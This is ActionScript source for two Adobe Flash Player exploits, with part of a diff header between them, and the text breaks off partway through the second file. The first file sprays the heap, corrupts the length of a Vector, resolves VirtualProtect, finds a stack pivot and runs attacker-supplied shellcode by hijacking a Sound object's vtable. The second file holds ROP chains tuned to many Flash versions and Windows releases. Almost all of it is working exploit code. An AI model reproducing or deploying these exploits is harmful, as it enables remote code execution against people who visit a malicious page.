import __AS3__.vec.Vector;
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.media.*;
import flash.net.*;
import flash.text.*;
import flash.utils.*;
import Math;
import flash.system.Security;
import flash.external.ExternalInterface;
import flash.display.LoaderInfo;
public class AsXploit extends Sprite
{
public var s:Vector.<Object>;
public var spraysound:Vector.<Object>;
public var myTimer:Timer;
public var sound:Sound;
public var shellcodeObj:Array;
/*
* Prepare the heap
* Trigger the vulnerability
* Exploit :)
*/
public function AsXploit()
{
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
/* Prepare the heap */
init_heap();
/* Trigger the vulnerability */
ExternalInterface.call("trigger");
/* Check every second if the vulnerability has triggered */
myTimer = new Timer(1000, 114096);
myTimer.addEventListener("timer", timerHandler);
myTimer.start();
}
/* Prepare the heap
* Spray aligned vector & sound objects
*/
public function init_heap():void
{
var len:int = 0;
var i:int = 0;
/* Spray the integer array */
this.s = new Vector.<Object>(0x18180);
while (len < 0x18180)
{
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
for (i=0; i < this.s[len].length; i++)
{
this.s[len][i] = 0x1a1a1a1a;
}
++len;
}
/* Spray sound object ptr */
this.sound = new Sound();
this.spraysound = new Vector.<Object>(0x100);
len = 0;
while (len < 0x100)
{
this.spraysound[len] = new Vector.<Object>(0x1234);
for (i=0; i < this.spraysound[len].length; i++)
{
this.spraysound[len][i] = this.sound;
}
++len;
}
}
/*
* Read an INT value in memory
*/
public function readInt(u1:int, u2:int, mod:uint):int
{
var valres:uint = 0;
if (mod == 1){
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
}
else if (mod == 2){
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
}
else if (mod == 3){
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
}
else
{
valres = u1;
}
return valres;
}
/*
* Search a stack pivot dynamically
* baseflashaddr_off: flash dll base address offset
* index: index of vectors table
* offset: offset to get the Stackpivot RVA
*/
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
{
var sp:uint = 0;
var sn:uint = 0;
var secname:uint = 0;
var sec:uint = 0;
var peindex:uint = 0;
var virtualSize:uint = 0;
var virtualAddr:uint = 0;
var i:uint = 0;
/* Find .text */
peindex = this.s[index][baseflashaddr_off+0x3C/4];
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
/* Find 0xC394 */
for (sec=0; sec < sn; sec++)
{
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
{
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
/* Find a stack pivot */
for (i=0; i < virtualSize/4; i++)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
{
sp = virtualAddr + i*4 + 3;
break;
}
}
else
{
sp = virtualAddr + i*4 + 2;
break;
}
}
else
{
sp = virtualAddr + i*4 + 1;
break;
}
}
else
{
sp = virtualAddr + i*4;
break;
}
}
}
}
if (sp != 0)
sp = offset+sp;
return sp;
}
/*
* Build & Insert the stack pivot + ROP + Shellcode
* Corrupt sound object vtable ptr
* baseflashaddr_off: flash dll address offset
* index: vectors table index
* cvaddr: corrupted vector address
* virtualprotectaddr: virtual protect address
* sp: stack pivot address
*/
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
{
var dec:uint = 0;
var soundobjref:uint = 0;
var soundobjaddr:uint = 0;
var sh:uint=0x300;
var i:uint = 0;
/* Corrupt sound object vtable ptr */
while (1)
{
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
{
soundobjref = this.s[index][j+0x0A];
dec = soundobjref-cvaddr-1;
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
break;
}
j++;
}
/* Stack pivot */
for (i=0; i < 0x200; i++)
this.s[index][i] = sp;
/* ROP */
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00+8;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x4000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x1a002000;
/* Shellcode */
for(var u:String in shellcodeObj)
{
this.s[index][sh++] = Number(shellcodeObj[u]);
}
}
/*
* Get flash module base address
* index: index of vectors table
* cvaddr: corrupted vector address
*/
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
{
var baseflashaddr_off:uint = 0;
var j:int = 0;
var k:int = 0;
var kmax:uint = 0;
var vtableobj:int = 0;
var ocxinfo:Array = new Array();
while (1)
{
if (this.s[index][j] == 0x00010c00)
{
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
/* Get ocx base address */
k = 0;
while (1)
{
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
{
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
ocxinfo[0] = baseflashaddr_off;
ocxinfo[1] = j;
ocxinfo[2] = k;
ocxinfo[3] = vtableobj;
return ocxinfo;
}
k = k + 0x1000;
}
}
j = j + 0x1;
}
return ocxinfo;
}
/*
* Find kernel32.dll index
* index: index of vectors table
* baseflashaddr_off: flash dll address offset
* importsindex: offset to the imports table
*/
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
{
var nameindex:uint = 0;
var dllname:int = 0;
var nameaddr:int = 0;
do
{
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
/* kernel32.dll not found */
if (nameaddr == 0x0)
break;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
/* Check kernel32.dll */
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
{
nameaddr = nameaddr + 4;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
if (dllname == 0x32336C65 || dllname == 0x32334C45)
{
nameaddr = nameaddr + 4;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
{
return nameindex;
}
}
}
/* Next dll */
nameindex = nameindex + 0x14;
}
while (1);
return 0;
}
/*
* Get VirtualProtectStub() addr
*/
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
{
var fct_addr:uint = 0;
var fct_name:uint = 0;
var fct_name_struct:uint = 0;
do
{
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
/* VirtualProtectStub() not found */
if (fct_addr == 0 || fct_name_struct == 0)
break;
if ((fct_name_struct & 0x80000000) != 0x80000000)
{
fct_name_struct = fct_name_struct + 2;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
/* Check VirtualProtect */
if (fct_name == 0x74726956 || fct_name == 0x54524956)
{
fct_name_struct = fct_name_struct + 4;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
{
fct_name_struct = fct_name_struct + 4;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
{
return fct_addr;
}
}
}
}
/* Next Function() */
fct_addr_offset = fct_addr_offset + 0x4;
fct_name_offset = fct_name_offset + 0x4;
}
while (1);
return 0;
}
/*
* Get corrupted vector index
*/
public function getCorruptedVectorIndex():uint
{
var i:uint = 0;
for (i=0; i < this.s.length; i++)
{
if (this.s[i].length == 0x3FFFFFFF)
{
return i;
}
}
return i;
}
/*
* Corrupt next vector size
*/
public function corruptNextVector(index:uint):uint
{
var j:uint = 0;
for (j=0; j < this.s.length; j++)
{
if (this.s[index][j] == 0x000003F0)
{
this.s[index][j] = 0x3FFFFFFF;
return j;
}
j = j + 1;
}
return 0;
}
/*
* Perform the exploitation
* - Find VirtualProtect()
* - Find a stack pivot
* - Build payload (SP + ROP + SC)
* - Run payload
*/
public function timerHandler(event:TimerEvent):void
{
var i:int = 0;
var j:int = 0;
var k:int = 0;
var vtableobj:int = 0;
var peindex:int = 0;
var importsindex:int = 0;
var k32index:int = 0;
var fct_name_offset:uint = 0;
var fct_addr_offset:uint = 0;
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
var stackpivot:uint = 0; /* Stackpivot address */
var cvaddr:int = 0x1a001000; /* corrupted vector address */
var ocxinfo:Array;
var i2:uint = 0;
/* Search the corrupted vector */
for (i=0; i < this.s.length; i++)
{
/* Find corrupted vector */
if (this.s[i].length == 0x010003f0)
{
this.myTimer.stop();
/* Corrupt next vector size */
if (corruptNextVector(i) == 0)
return;
/* Find corrupted vector */
i2 = getCorruptedVectorIndex();
if (i2 == 0) return;
/* Get flash base addr */
ocxinfo = getFlashBaseAddr(i2, cvaddr);
if (ocxinfo.length == 0) return;
baseflashaddr_off = ocxinfo[0];
j = ocxinfo[1];
k = ocxinfo[2];
vtableobj = ocxinfo[3];
/* Get imports table */
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
/* Find kernel32.dll */
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
if (k32index == 0) return;
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
/* Find VirtualProtectStub() addr */
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
if (vp_addr == 0) return;
/* Search Stack Pivot */
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
if (stackpivot == 0) return;
/* Build Payload */
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
/* Run Payload */
this.sound.toString();
return;
}
}
}
}
}

View File

@ -0,0 +1,797 @@
//Compile with mxmlc Vickers.as -o Vickers.swf
package
{
import flash.display.Sprite;
import flash.system.Capabilities;
import flash.utils.ByteArray;
import __AS3__.vec.Vector;
import flash.system.ApplicationDomain;
import avm2.intrinsics.memory.*;
public class Vickers extends Sprite
{
public static var shellcode:String;
public function Vickers()
{
var params = root.loaderInfo.parameters;
shellcode = params["id"];
while (true)
{
if (exploit()) break;
};
}
public function makePayload(vftableAddr:*, scAddr:*):ByteArray
{
var payload = null;
switch (Capabilities.os.toLowerCase())
{
case "windows xp":
case "windows vista":
case "windows server 2003 r2":
case "windows server 2003":
case "windows 7":
case "windows 7 x64":
case "windows server 2008 r2":
case "windows server 2008":
payload = makePayloadWinOther(vftableAddr, scAddr);
break;
case "windows 8":
case "windows 8 x64":
payload = makePayloadWin8(vftableAddr, scAddr);
break;
default:
return (null);
};
return (payload);
}
public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray
{
var flash_base:uint = vftableAddr;
var flash_end:uint;
var rop_payload:ByteArray = new ByteArray();
rop_payload.position = 0;
rop_payload.endian = "littleEndian";
rop_payload.writeUnsignedInt((scAddr + 4));
switch (Capabilities.version.toLowerCase())
{
case "win 11,3,372,94":
flash_base = (flash_base - 9518744);
flash_end = (flash_base + 0xB10000);
rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(0x40);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,375,10":
flash_base = (flash_base - 9589392);
flash_end = (flash_base + 0xB15000);
rop_payload.writeUnsignedInt((flash_base + 4220004));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 142215));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8504352));
rop_payload.writeUnsignedInt((flash_base + 40214));
rop_payload.writeUnsignedInt((flash_base + 840082));
rop_payload.writeUnsignedInt((flash_base + 202134));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,376,12":
flash_base = (flash_base - 9593552);
flash_end = (flash_base + 0xB16000);
rop_payload.writeUnsignedInt((flash_base + 4220740));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 142023));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8508448));
rop_payload.writeUnsignedInt((flash_base + 39878));
rop_payload.writeUnsignedInt((flash_base + 839538));
rop_payload.writeUnsignedInt((flash_base + 201958));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,377,15":
flash_base = (flash_base - 9589576);
flash_end = (flash_base + 0xB15000);
rop_payload.writeUnsignedInt((flash_base + 4220388));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 141671));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8504352));
rop_payload.writeUnsignedInt((flash_base + 39526));
rop_payload.writeUnsignedInt((flash_base + 839698));
rop_payload.writeUnsignedInt((flash_base + 201590));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,378,5":
flash_base = (flash_base - 9589448);
flash_end = (flash_base + 0xB15000);
rop_payload.writeUnsignedInt((flash_base + 4220388));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 141671));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8504352));
rop_payload.writeUnsignedInt((flash_base + 39526));
rop_payload.writeUnsignedInt((flash_base + 839698));
rop_payload.writeUnsignedInt((flash_base + 201590));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,379,14":
flash_base = (flash_base - 9597856);
flash_end = (flash_base + 0xB17000);
rop_payload.writeUnsignedInt((flash_base + 4575113));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 6617808));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 8149060));
rop_payload.writeUnsignedInt((flash_base + 8512544));
rop_payload.writeUnsignedInt((flash_base + 4907562));
rop_payload.writeUnsignedInt((flash_base + 8147977));
rop_payload.writeUnsignedInt((flash_base + 4046601));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,167":
flash_base = (flash_base - 9821704);
flash_end = (flash_base + 0xB85000);
rop_payload.writeUnsignedInt((flash_base + 8405950));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 27456));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8791088));
rop_payload.writeUnsignedInt((flash_base + 73494));
rop_payload.writeUnsignedInt((flash_base + 1115794));
rop_payload.writeUnsignedInt((flash_base + 242790));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,171":
flash_base = (flash_base - 9821904);
flash_end = (flash_base + 0xB85000);
rop_payload.writeUnsignedInt((flash_base + 8406414));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 27456));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8791088));
rop_payload.writeUnsignedInt((flash_base + 73078));
rop_payload.writeUnsignedInt((flash_base + 1116754));
rop_payload.writeUnsignedInt((flash_base + 242380));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,180":
flash_base = (flash_base - 9816600);
flash_end = (flash_base + 0xB84000);
rop_payload.writeUnsignedInt((flash_base + 8404478));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 29514));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 8786992));
rop_payload.writeUnsignedInt((flash_base + 69382));
rop_payload.writeUnsignedInt((flash_base + 175197));
rop_payload.writeUnsignedInt((flash_base + 238732));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,169":
flash_base = (flash_base - 10441412);
flash_end = (flash_base + 0xC45000);
rop_payload.writeUnsignedInt((flash_base + 4640769));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 53338));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 9368732));
rop_payload.writeUnsignedInt((flash_base + 95414));
rop_payload.writeUnsignedInt((flash_base + 1145506));
rop_payload.writeUnsignedInt((flash_base + 2156132));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,202":
flash_base = (flash_base - 0x9f5470);
flash_end = (flash_base + 0xC45000);
rop_payload.writeUnsignedInt((flash_base + 0x46c361));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 0xcc5a));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 0x10c5));
rop_payload.writeUnsignedInt((flash_base + 0x8ef49c));
rop_payload.writeUnsignedInt((flash_base + 0x17136));
rop_payload.writeUnsignedInt((flash_base + 0x42f0));
rop_payload.writeUnsignedInt((flash_base + 0x40664));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,224":
flash_base = (flash_base - 10450228);
flash_end = (flash_base + 0xC7A000);
rop_payload.writeUnsignedInt((flash_base + 4646881));
rop_payload.position = 64;
rop_payload.writeUnsignedInt((flash_base + 52090));
rop_payload.position = 76;
rop_payload.writeUnsignedInt((flash_base + 4293));
rop_payload.writeUnsignedInt((flash_base + 9376924));
rop_payload.writeUnsignedInt((flash_base + 93510));
rop_payload.writeUnsignedInt((flash_base + 1145378));
rop_payload.writeUnsignedInt((flash_base + 1909483));
rop_payload.writeUnsignedInt(scAddr);
rop_payload.writeUnsignedInt(0x1000);
rop_payload.writeUnsignedInt(64);
rop_payload.writeUnsignedInt((scAddr - 4));
break;
default:
return (null);
};
return (rop_payload);
}
public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray
{
var vftableAddr_copy:uint = vftableAddr;
var _local_5:uint;
var payload:ByteArray = new ByteArray();
payload.position = 0;
payload.endian = "littleEndian";
payload.writeUnsignedInt((scAddr + 4));
switch (Capabilities.version.toLowerCase())
{
case "win 11,0,1,152":
vftableAddr_copy = (vftableAddr_copy - 7628676);
_local_5 = (vftableAddr_copy + 0x927000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 1041567));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 1937003));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 4585805));
payload.writeUnsignedInt((vftableAddr_copy + 6697912));
payload.writeUnsignedInt((vftableAddr_copy + 2201532));
payload.writeUnsignedInt((vftableAddr_copy + 3985044));
payload.writeUnsignedInt((vftableAddr_copy + 2764856));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,1,102,55":
vftableAddr_copy = (vftableAddr_copy - 7633040);
_local_5 = (vftableAddr_copy + 0x927000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 4793772));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 1939267));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 2297101));
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
payload.writeUnsignedInt((vftableAddr_copy + 3976335));
payload.writeUnsignedInt((vftableAddr_copy + 3516263));
payload.writeUnsignedInt((vftableAddr_copy + 2768033));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,1,102,62":
vftableAddr_copy = (vftableAddr_copy - 7628912);
_local_5 = (vftableAddr_copy + 0x927000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 4794156));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 1939856));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 5126527));
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
payload.writeUnsignedInt((vftableAddr_copy + 2920469));
payload.writeUnsignedInt((vftableAddr_copy + 4454837));
payload.writeUnsignedInt((vftableAddr_copy + 2768325));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,1,102,63":
vftableAddr_copy = (vftableAddr_copy - 7628904);
_local_5 = (vftableAddr_copy + 0x927000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 4794076));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 1939822));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 5126435));
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
payload.writeUnsignedInt((vftableAddr_copy + 2353542));
payload.writeUnsignedInt((vftableAddr_copy + 3516455));
payload.writeUnsignedInt((vftableAddr_copy + 2768305));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,2,202,228":
vftableAddr_copy = (vftableAddr_copy - 7726032);
_local_5 = (vftableAddr_copy + 0x93F000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 4947482));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 2022234));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 6255948));
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
payload.writeUnsignedInt((vftableAddr_copy + 5021261));
payload.writeUnsignedInt((vftableAddr_copy + 6176368));
payload.writeUnsignedInt((vftableAddr_copy + 2847152));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,2,202,233":
vftableAddr_copy = (vftableAddr_copy - 7729872);
_local_5 = (vftableAddr_copy + 0x93F000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 4947594));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 2022508));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 4691374));
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
payload.writeUnsignedInt((vftableAddr_copy + 4164715));
payload.writeUnsignedInt((vftableAddr_copy + 5837496));
payload.writeUnsignedInt((vftableAddr_copy + 2847021));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,2,202,235":
vftableAddr_copy = (vftableAddr_copy - 7734032);
_local_5 = (vftableAddr_copy + 0x940000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 4947578));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 2022729));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 5249755));
payload.writeUnsignedInt((vftableAddr_copy + 6828928));
payload.writeUnsignedInt((vftableAddr_copy + 4261382));
payload.writeUnsignedInt((vftableAddr_copy + 4553024));
payload.writeUnsignedInt((vftableAddr_copy + 2847456));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,300,257":
vftableAddr_copy = (vftableAddr_copy - 8232016);
_local_5 = (vftableAddr_copy + 0x9C3000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 5328586));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 2069614));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 6497300));
payload.writeUnsignedInt((vftableAddr_copy + 7222148));
payload.writeUnsignedInt((vftableAddr_copy + 5022322));
payload.writeUnsignedInt((vftableAddr_copy + 4972967));
payload.writeUnsignedInt((vftableAddr_copy + 3071572));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,300,273":
vftableAddr_copy = (vftableAddr_copy - 8236216);
_local_5 = (vftableAddr_copy + 0x9C4000);
payload.position = 8;
payload.writeUnsignedInt((vftableAddr_copy + 5331930));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 2070667));
payload.position = 80;
payload.writeUnsignedInt((vftableAddr_copy + 6500737));
payload.writeUnsignedInt((vftableAddr_copy + 7226252));
payload.writeUnsignedInt((vftableAddr_copy + 5142060));
payload.writeUnsignedInt((vftableAddr_copy + 5127634));
payload.writeUnsignedInt((vftableAddr_copy + 3074828));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,4,402,278":
vftableAddr_copy = (vftableAddr_copy - 8503560);
_local_5 = (vftableAddr_copy + 0xA23000);
payload.writeUnsignedInt((vftableAddr_copy + 5581452));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 1202409));
payload.position = 76;
payload.writeUnsignedInt((vftableAddr_copy + 6927402));
payload.writeUnsignedInt((vftableAddr_copy + 7480208));
payload.writeUnsignedInt((vftableAddr_copy + 5373116));
payload.writeUnsignedInt((vftableAddr_copy + 5713520));
payload.writeUnsignedInt((vftableAddr_copy + 3269652));
payload.writeUnsignedInt(scAddr);
payload.writeUnsignedInt(0x1000);
payload.writeUnsignedInt(64);
payload.writeUnsignedInt((scAddr - 4));
break;
case "win 11,4,402,287":
vftableAddr_copy = (vftableAddr_copy - 8507728);
_local_5 = (vftableAddr_copy + 0xA24000);
payload.writeUnsignedInt((vftableAddr_copy + 5582348));
payload.position = 64;
payload.writeUnsignedInt((vftableAddr_copy + 1202841));
payload.position = 76;
payload.writeUnsignedInt((vftableAddr_copy + 6927143));
payload.writeUnsignedInt((vftableAddr_copy + 7484304));
